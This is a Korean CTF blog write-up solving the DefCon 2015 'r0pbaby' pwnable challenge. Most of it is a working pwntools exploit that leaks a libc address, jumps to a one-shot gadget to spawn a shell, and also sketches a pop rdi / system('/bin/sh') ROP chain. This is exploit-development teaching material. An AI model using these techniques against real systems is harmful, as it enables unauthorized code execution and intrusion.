Write-up/Pwnable

[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기

MyriaBreak 2018. 5. 28. 21:44

제목 그대로다.


magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.

아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from pwn import *
import string
 
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
elf = ELF("./r0pbaby")
conn = process("./r0pbaby")
    
def get_func(func_name):
    conn.sendlineafter(":","2")
    conn.sendlineafter(":", func_name)
    conn.recvuntil(":")
    func_addr = conn.recvline().strip()
    func_addr = int(func_addr, 16)
    return func_addr
    
def oneshot_ret(addr, size):
    conn.sendlineafter(":","3")
    conn.sendlineafter(":",size)
    conn.sendline("A"*8+p64(addr))
    
print("")
oneshot_offset = 0x46428
 
conn.recvuntil("4) Exit")
system_addr = get_func("system")
 
offset = libc.symbols['system']
libc_base = system_addr-offset
 
oneshot_addr = libc_base + oneshot_offset
 
log.info("libc_base    : 0x%x " % libc_base)
log.info("system_addr  : 0x%x " % system_addr)
log.info("oneshot_addr : 0x%x " % oneshot_addr)
 
oneshot_ret(oneshot_addr ,"16")
conn.interactive()
 
cs

물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서


"A"*8  |  pop rdi  |  &"/bin/sh"   |  system  


익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿